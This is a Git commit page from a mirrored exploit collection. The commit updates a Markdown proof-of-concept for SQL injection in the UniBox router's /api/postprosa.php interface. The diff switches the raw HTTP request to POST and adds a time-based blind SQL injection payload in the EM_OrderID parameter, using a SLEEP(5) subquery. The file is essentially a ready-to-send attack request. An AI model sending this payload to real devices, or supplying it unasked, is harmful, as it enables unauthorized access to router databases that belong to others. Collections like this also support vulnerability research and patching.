admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-06-20 18:01:14 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update unibox路由器postprosa接口存在SQL注入.md

Browse Source
This commit is contained in:
Rainyseason 2025-06-11 14:47:01 +08:00 committed by GitHub
parent 296a27ce33
commit e22545e09d
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
wpoc/unibox路由器/unibox路由器postprosa接口存在SQL注入.md
View File

@ -6,7 +6,7 @@ Description: UniBox 是一款一体化网络/热点控制器，可以部署为
## poc ## poc
```javascript ```javascript
GET /api/postprosa.php HTTP/1.1 POST /api/postprosa.php HTTP/1.1
Host: 127.0.0.1:8888 Host: 127.0.0.1:8888
Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate
Accept: */* Accept: */*
@ -14,4 +14,6 @@ Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Cookie: http304ok=0; PHPSESSID=pvpehubud7epklbme9m4s69b0q; Cookie: http304ok=0; PHPSESSID=pvpehubud7epklbme9m4s69b0q;
Connection: close Connection: close
EM_OrderID=1'+AND+(SELECT+3676+FROM+(SELECT(SLEEP(5)))sdgB)+AND+'rBTA'%3d'rBTA
``` ```